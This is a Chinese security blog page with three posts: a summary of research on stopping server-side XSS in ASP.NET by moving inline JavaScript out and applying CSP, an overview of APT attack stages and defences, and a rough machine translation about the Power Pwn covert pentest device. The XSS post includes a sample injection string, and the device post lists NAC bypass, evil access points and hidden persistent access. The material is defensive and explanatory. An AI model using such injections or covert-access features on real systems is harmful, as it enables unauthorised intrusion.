3、 重写应用代码以便于适应分离的内联JavaScript代码。

这项分离技术也有一些局限性,比如不能应用于混淆、加密后的代码,只针对服务端XSS漏洞,对于基于DOM的XSS漏洞完全无效。所以这项技术对于XSS漏洞来说并不是万灵药,在与CSP策略结合后只解决大部分XSS的问题,减轻了开发人员的工作量,如果想要完全防御XSS漏洞,只需针对动态产生的JS代码和DOM-XSS做过滤和检测。

以ASP.NET网页表单页面为例。

1

图一: 简单的ASP.NET代码

首先需要确定应用程序是如何输出内容到页面:

<%%>之前的内容会直接输出到HTML页面,并且他们都是C#代码。

<%=代表这个C#代码是变量,在程序运行时其内容会被决定,并输出到HTML页面。

从图一中可以看出,第二行定义的是常量,第三行定义的是变量,在第七行username这个变量就被输出到HTML中,作为内联JS脚本执行。

2

图二:被C#编译器编译后的图一中代码。

在经过C#编译后的代码中,Write函数代替了<%%>标签作为输出函数,可以将内容写到页面当中。而var username代替了<%=标记,通过第八行的Wirit(this.username)将变量内容输出到页面当中。

在第一个阶段有两个关键步骤。第一个是确定将要输出到页面的内容。第二个是确定输出函数被调用的顺序。

我们使用points-to分析算法静态分析源代码来解决这个问题。简单的说points-to算法可以确定指针与变量地址的对应关系,最初被应用于C代码的静态分析当中。这个算法可以确定变量内存储的是常量字符串还是变量。通过它就可以判断Write函数将要输出的内容是常量还是变量,也就确定了那些地方是我们需要分离的数据。

为了确定Write函数被调用的顺序,我们使用了标准的控制流程图,可以准确确定函数调用顺序。这个控制流程图是一个无回路有向图(DAG),任何从根节点出发的叶子节点都代表一个可能的页面输出。

3

图三:程序控制流程图

图中每个实线圈出的节点都是直接输出常量到页面中,虚线圈出的节点是变量输出到节点,该节点值由程序动态决定。

在第二个阶段,我们使用之前生成的有向图精确地分离内联Javascript代码。从根节点出发到达的每个叶子节点都代表一个潜在的页面输出。我们使用一个递归算法递归全部的路径,对每个输出字符串进行识别,从而分离出Javascript代码。在这个过程中可能产生路径爆炸问题,因为即使一些很简单的代码也可能产生大量的逻辑路径,导致遍历失败。我们通过两种方法解决这个问题,第一个就是忽略注释代码。第二个是在每一对Javascript标记中处理不同路径,减少一次性处理的范围。当全部的内联Javascript代码都被识别之后,我们将结果传入下一个阶段——代码重写。

第三个阶段将全部内联Javascript代码与HTML代码分离,将他们存入外部Javascript文件中。原来写Javascript代码的地方被替换为<script src=”External.js”></script>这种形式。程序依照以下流程来重写应用:首先检查Wirte函数中要输出的内容,如果包含Javascript的开始标记,就使用SESSION标记指明这个地方含有内联Javascript代码,重写功能就会先移除这个Javascript标记然后将JS代码内容存入Session缓冲区,并且保持SESSION标记是唯一的,当程序读取到JS结束标记后,删除这个标记,一个内联JS就完整的与代码分离了。之后这个过程一直重复,直到内联JS代码全部被存入Session缓冲区为。最后对每个session缓冲区区hash值,作为外部JS文件名称,以便程序调用。

4

图四:重写之后的代码。

执行完这些步骤我们已经可以完全分离了内联JS脚本,如果其中的脚本仅仅是静态产生的JS脚本,那么网站在应用CSP后就可以完全防御XSS攻击的威胁。但是内联JS脚本中还有动态产生的脚本,将这些脚本仅仅分离到外部JS文件不能防御XSS攻击。比如针对图一中的代码。如果输入username=””;alert(‘xss’)//;那么最终在浏览器执行的脚本会是<script> var username=””;alert(‘xss’)//”;></script>,依然产生跨站威胁。这种跨站威胁应用我们的处理流程是不能完全根除的,因为这是服务端跨站漏洞。但是我们为了减轻动态脚本产生XSS漏洞的可能性,采取了两个处理方法。第一个方法是标记并记录动态脚本,方便人工评估动态产生的脚本是否包含漏洞。第二个方法是定制相应的过滤方法,对动态输出的内容进行转义、过滤。这两个方法只能减轻动态JS脚本产生XSS漏洞的可能性,但不能完全杜绝,这也就是为什么本文主要针对服务端XSS漏洞。

四、评估与实验

实验主要评估该方法的三个方面,第一个是抵御XSS攻击的效果,第二个是重写后的应用源代码是否会产生异常,第三个是重写应用代码对应用性能的影响。

实验选取了以下应用作为实验对象:

5

图五:选取的实验对象。

实验对象选取的条件主要是以下三点:

1、 应用程序开源。

2、 应用包含已知的XSS漏洞。

3、 应用代码没有经过混淆、加密。

因为ASP.NET开源项目很少,所以最后满足条件的项目只有这6个。这些项目有MVC框架的也有非MVC框架,并包含一定量的代码行数(LOC),满足我们的实验条件。

五、    实验结果:

当内联JS代码分离完成及应用了CSP策略后,我们手工的使用EXP对网站进行攻击,原始应用都产生了漏洞,但经过流程处理后的应用都防御了攻击。为了检测处理后的网站时候会产生错误,我们采取手工测试的方法,对每个页面的功能进行检测,最后发现没有任何错误产生。在图六中我们可以看到不同应用的JS分布。安全动态JS指程序识别出动态生成的JS输出内容并进行清理转义,已经安全。不安全的动态JS是我们不能正确识别的,仅进行记录并分离到外部JS文件中。图中(4)标记代表在ASP.NET框架编译程序时会自动产生4个JS脚本,这是我们不可控的元素,不作考虑。最后我们测试了应用性能,结果显示内联JS代码分离可根据内联JS代码使用数量的多少,适当减小页面代码,加速页面加载速度。对于内联JS使用较少的页面会产生反效果,但是不会产生较大影响。

6

图六:内联JS分离完成后的文件分布。

7

图七:内联JS分离完成后页面大小及响应时间对比。

六、总结与不足:

这项技术主要通过结合CSP策略来防御XSS攻击,根据我们的实验结果,该项技术已经达到一定的实际应用水平,可以抵御服务端XSS攻击并且不影响程序的执行结果和网站效率。

这项分离技术也存在一些局限性,比如不能应用于混淆、加密后的代码,只针对服务端XSS漏洞,对于基于DOM的XSS漏洞完全无效。虽然这个方法已经基本可以应用到实际场景当中,但是程序获得内联JS的方法还需要持续改进。目前对于复杂的框架模板比如PHP经常使用的框架Thinkphp,不修改原有程序就识别内联JS脚本存在困难。但是只要解决了输出是如何被应用创建的,和怎样重写应用这两个问题,那么这项技术就可以应用于该框架。对于不同的框架需要不同的定制,对框架通用性较差。



admin 发布于  2014-12-16 13:24 

以人为本,知己知彼再谈APT攻击与防范 神器荟萃

图片1


为何会有APT?

2013年4月份Verizon发布的《2013年数据破坏调查报告》报告将包括APT攻击在内的信息破坏的敌对方分为了有组织犯罪集团、国家或国家资助的组织、黑客活跃分子三类。

在木马病毒泛滥时代的地下经济驱动中,各个国家均是地下经济体系和恶意代码的受害者。而APT出现的最本质原因是国家和政经集团作为“大玩家”直接介入到网络攻防的游戏体系当中,而攻击的对象也变成了他国政府和其他对立的政经体系。

APT得本质是什么?

在这里我们聊一聊APT究竟是什么的问题,有一句俗话这么说,要把问题看透,看透就是说,要找到本质,APT的本质是什么?这里可以借用一个做APT攻击的一线人员的说法,他说,APT的本质就是“死死的盯住目标,没有时间限制,没有方法限制,尝试每一种可能的攻击”所以Advanced Persistent Threat 中 Persistent 是关键。

APT为何大方光彩?

传统黑客攻击手段可分为非破坏性攻击和破坏性攻击两类。非破坏性攻击一般是为了扰乱系统的运行,并不盗窃系统资料,通常采用拒绝服务攻击或信息炸弹;破坏性攻击是以侵入他人电脑系统、盗窃系统保密信息、破坏目标系统的数据为目的。通常来讲,这种攻击方式,一般为非可持续性攻击,比如此系统当前无可利用漏洞和方法,攻击无法进行,这时候攻击者会为此目标总结定性,并结束攻击。
主与传统攻击相比,APT却不会到此结束,攻击者会暂时搁浅此系统攻击,而静静的等待时机,一周?一月?一年?甚至多年,都是可能的。然而计算机世界并没有什么系统是完美的,是决对安全的。再者APT攻击者很多时候的攻击并非针对计算机系统,而是人,人性的弱点从人类文明以来总是固有的,社工,钓鱼,欺骗等等,最后导致的结果就是,系统的沦陷,数据的失窃。在这种坚韧不拔的攻击精神下,APT成就了大批的成功攻击案例,足以震惊世界。

APT的常用手法是什么?

知己知彼,百战不殆,了解了APT的真实攻击手法,才能真正的了解APT,才能做到防患于未然。

一般攻击采用的攻击方式为,鱼叉式网络钓鱼(Spear phishing),是指只针对特定目标进行攻击的网络钓鱼攻击。当进行攻击的黑客锁定目标后,会以电子邮件的方式,假冒该公司或组织的名义发送一封难以辨真伪的电子邮件,诱使目标员工进一步登录帐号密码,使攻击者可以以此借机安装木马后门或其他间谍软件,窃取机密,或于员工时常浏览的网页中,置入病毒自动下载器(下载者),并持续更新受感染系统内之变种病毒。由于鱼叉式网络钓鱼锁定对象并非一般个人,而是特定公司、组织之成员,所以受窃资料也不是一般网络钓鱼所窃取的个人资料,而是其他高度敏感性资料,如商业机密。下图1是一次APT攻击的大概流程,下面以图1为蓝本简要介绍。

图片2

图1

1. 情报搜集
黑客透过一些公开的数据源 (Facebook、博客、微博等等) 搜寻和锁定特定人员并加以研究,然后定制攻击策略。

2. 首次突破防线,打入网络内部
首次突破防线的入侵手法,通常是透过电子邮件、实时通讯或网站顺道下载等社交工程技巧在用户系统植入零时差 (zero-day) 恶意软件。接着在系统开一个后门,网络门户因而洞开,后续渗透便轻而易举。(有时,黑客也会攻击网站的漏洞,或是直接入侵网络。)

3. 幕后操纵,通讯控制
幕后操纵 (Command & Control,简称 C&C) 服务器是黑客用来操纵受感染计算机与恶意软件以对您内部网络发动后续攻击的外部主机。

4. 内网渗透与移动
一旦进入企业网络,黑客就能进一步入侵更多计算机来搜集登入信息,提高自己的权限,让计算机永远受到掌控。

5. 重要资料发掘与搜索
黑客有许多技巧 (如端口扫瞄) 可以发掘有价数据所在的服务器或服务。

6. 资料外传
一旦搜集到敏感信息,这些数据就会汇集到内部的一个暂存服务器,然后再整理、压缩,通常并经过加密,然后外传。

APT攻击常用的RAT工具

在APT攻击中,所使用的工具与传统黑客攻击所使用的工具相比,更专,更精,它通常不具备太大的通用性,而是专注于某一个领域,比如特马,也就是远程控制,可能不具备太多功能,但在穿透防火墙方面,却要求决对精致,针对某些防火墙,都特别处理过。而漏洞也是如此,基本做到一击必杀!

这里对APT比较钟爱的远程控制做一个简要介绍。其工具为国外公开的远程控制控制其官方网站如图2所示,其软件主界面如图3所示。

图片3
图2

图片4

图3

这款远程控制软件只所以被APT攻击者广泛使用主要由如下几个原因,其一此软件较为成熟且稳定,其次此软件支持SHELLCODE的方式生成,被控制端,对杀毒软件有较强的免杀性,也方便后期针对杀毒软件的处理。最后它足够小,完全可以被植入到PDF,DOC等文档中。

APT为何难以预防?

图片5 APT攻击者在攻击时,主要有两个比较明显特性,其一为持续性,其二为攻击目标主要以人为主。

持续性攻击为一个长期过程,每当某个系统或者软件,出现安全漏洞时,攻击者都会趁虚而入,多数计算机系与安全防御系统在一个时间内可以有效的防御攻击,但不可能长期一直有效的防御,但计算机系统与安全防御系统,出现任意时,都会导致系统的沦陷。

当攻击者从计算机系统安全无法入侵成功或无法达到想要的效果时,就会考虑针对人员下手,因为攻击者认为,当一个企业或者组织足够大时,最薄弱的环节是人,因为在众多的人员中,总一些人是没有安全意识或者安全意识比较薄弱。从这些薄弱的目标下手,总是可以拿到丰硕的成果。

当攻击者的目标主要为人时,会使大部分安全防御系统失去应有的效果。无论任何应用都是以人为主,人可以关闭一切防御,比如,当一个用户使用攻击者提供的一个游戏外挂时,杀毒软件会有报警提示,但这时,用户很可能会关闭杀毒软件,而继续运行游戏外挂,倘若这个游戏外挂中载有木马程序呢,不言而喻,攻击者会直接进入用户网络,并且为最高权限。

综上所述,APT之年以难以防御,是因为它的攻击周期较长,且攻击方法复杂,不可预测,而网络安全的木桶效应中,最短的那块木板是人,也恰恰是最容易受到攻击,并且人性的弱点是无法解决的。

传统安全防御系统有效吗?

如果细读上一节的内容,那么传统的防御系统是否有效的问题,在心中应该有一个答案了,答案总是让人那么沮丧,攻击者精心策划,采用定制的漏洞,定制的RAT控制系统,定制的攻击手法,网络的防御系统在此种定点攻击面前变的非常安静,安静到用户不知道攻击正在进行,数据正在失窃。

为什么传统的技术检测不到APT呢?这是因为传统的检测技术主要在网络边界和主机边界进行检测。在网络边界我们主要靠防火墙,而防火墙并不能识别通道上的负载是恶意的还是善意的。而IDS、IPS虽然可以识别,但是它们基于的技术是已知威胁的签名,当这个威胁发生了,我们知道了,我们去分析它的特征,然后把这个特征抽取出来,我们对它进行检测。这种方法的问题是:第一,它检测不到未知的漏洞、新的木马;第二,攻击者很容易对漏洞的定义方法和木马进行变形,就检测不到了。在主机边界,杀毒软件也存在同样的问题。这就是当前检测体系存在的最核心的问题。

云技术,可以预防APT攻击吗?

目前APT解决方案可以概括为四类:一是主机文件保护类(白名单方式控制)如bit9;二是大数据分析检测类,如RSA;三是恶意代码检测类,如FireEye;四是网络入侵检测类,如Fortinet。

云技术可以做到以白名单作为核心,首先对用户终端环境中的所有程序和文件进行全网扫描,如果是病毒、木马、蠕虫等非白名单文件,则予以处理。如果与云中的白文件库相匹配,则判允许并予以放行。与种思路与360杀毒软件的主思路不谋而合,非白即黑,策略。

不过云技术也有自身的问题,比如白名单数量,以及恶意软件利用白名单的问题,等等。

APT未来的发展趋势。

国际

2013年4月份Verizon发布的《2013年数据破坏调查报告》分析了全球47000多起数据破坏安全事故,621宗确认的数据泄漏案例,以及至少4400万份失窃的记录。《报告》指出有高达92%的数据破坏行为来自外部,有19%的数据破坏行为来自国家级别的行为,利用脆弱的或者窃取到的用户身份访问凭据进行入侵的行为占到了76%,而各种黑客行为和恶意代码依然是主要的信息破坏手段。报告将包括APT攻击在内的信息破坏的敌对方分为了有组织犯罪集团、国家或国家资助的组织、黑客活跃分子三类。

此外,国际上,尤其是美国着重炒作来自中国的APT攻击。最典型的是Mandiant公司发布的《对APT1组织的攻击行动的情报分析报告》,将APT1攻击行动的发起者直接定位到中国军方。在美国旧金山举办的RSA2013大会上,直接以中国APT攻击为主题的报告就有6个之多。其中有一个研讨会题为《中美的网络冲突和中国网络战研究》。演讲者是《二十一世纪的中国网络战》一书的作者。这个曾经在美国研读过中文的美国人从西方的视角来分析了中国的网络战战略、战术。

以防范APT攻击为引子,各国纷纷加强国家级的网络空间安全研究、相关政策制定与发布。美国、加拿大、日本、欧盟各国、北约等国家和组织纷纷强化其网络空间安全的国家战略,其中就包括应对包括APT在内的国家级的敌对方的攻击。ENISA(欧洲网络与信息安全局)、北约CCDCOE(协作网络空间防御卓越中心)、兰德公司、欧洲智库SDA公司都对世界主要国家的网络空间安全战略思想、安全威胁特征、安全防御水平等进行了较为深入的对比分析与研究。

国内

根据CN-CERT发布的《2012年我国互联网网络安全态势综述》,我国面临的新型威胁攻击的形势还是比较严峻的。利用“火焰”病毒、“高斯”病毒、“红色十月”病毒等实施的高级可持续攻击(APT攻击)活动频现,对国家和企业的数据安全造成严重威胁。2012年,我国境内至少有4.1万余台主机感染了具有APT特征的木马程序。

我们是谁?在干什么?

天融信阿尔法实验室,我们相信只有切实的接触攻击,才能做到最有效的防御。我们一直走在网络安全的最前沿,关注最新的攻防对抗,在攻击与防御中,寻求新的突破。


admin 发布于  2014-12-15 14:12 

Power Pwn: a DARPA-funded hack machine 神器荟萃

2.jpg

Power Pwn是一个完全集成的,企业级的渗透测试平台。继承了流行的PWN插件,该器件具有高度集成的模块化硬件设计。支持并资助由国防研究计划局(DARPA),它的目的是提供企业和安全意识的个体更便宜和更容易的手段来抵御黑客自己,为他们提供同一套工具,他们的数字袭击者。

1.jpg

用一个简单的浪涌保护器的外观,电源PWN不会把任何头,但裂开其谦逊的外壳,你会发现你需要运行一个全面的安全审核软件套件的一切。该装置的最大拉伸无疑是其远程执行测试的能力。安全专家可以简单地运送电力PWN到企业设施和访问设备暗中通过以太网,无线或3G / GSM蜂窝网络。

3.jpg

蜂窝网络功能,可以让用户通过短信在bash命令文本。甚至还有利用语音识别软件,如苹果的Siri推命令到设备的潜力。发货的Linux的Debian的6例如,电源PWN旨在使全面渗透测试更容易,更便宜的公司和安全专家。公司可以邮寄美国

1295美元硬件到他们的分支机构和开展远程网络的全面渗透测试,完全消除了差旅费。


有迹象表明,黑客可能利用该设备对预定车主的关注,但是DARPA的支持和资金应在一定程度上保证了电源PWN在好人手里牢牢保持。为了达到这个效果,Pwnie快递的首席执行官戴夫Porcello告诉有线90%的公司的客户工作的公司或联邦政府。

全面的功能和规格如下:

  1. 板载高增益的802.11b / g / n无线
  2. 板载高增益蓝牙(1000')
  3. 板载双以太网
  4. 120 / 240V AC插座
  5. 16 GB内部磁盘存储
  6. 外接3G / GSM适配器
  7. 全自动NAC / 802.1X / RADIUS旁路
  8. 出带外SSH通过3G / GSM手机网络访问
  9. 文本 - 重击:在bash文本通过短信命令
  10. 与“插件UI”基于Web的管理
  11. 一键邪恶AP,隐身模式,及被动侦察
  12. 保持你的目标网络的持续性,隐蔽性,加密的SSH访问
  13. 通过应用感知防火墙和IPS隧道
  14. 支持HTTP代理,SSH-VPN,OpenVPN的&
  15. 发送电子邮件/短信提醒时,SSH隧道被激活
  16. 预装的Debian 6,Metasploit的,SET,快速通道,w3af,天命,Aircrack和,SSLstrip,NMAP,水润,dsniff,Scapy的,Ettercap,蓝牙/网络电话/ IPv6的工具等。
  17. 在隐身模式下无法完成ping命令,没有侦听端口。 

 这个工具很强大,O(∩_∩)O~  由Mrxn翻译发表在mrxn.net,转载请注明出处,谢谢!

原文地址:http://www.gizmag.com/power-pwn-darpa-hack-machine/23429/



admin 发布于  2014-12-12 10:47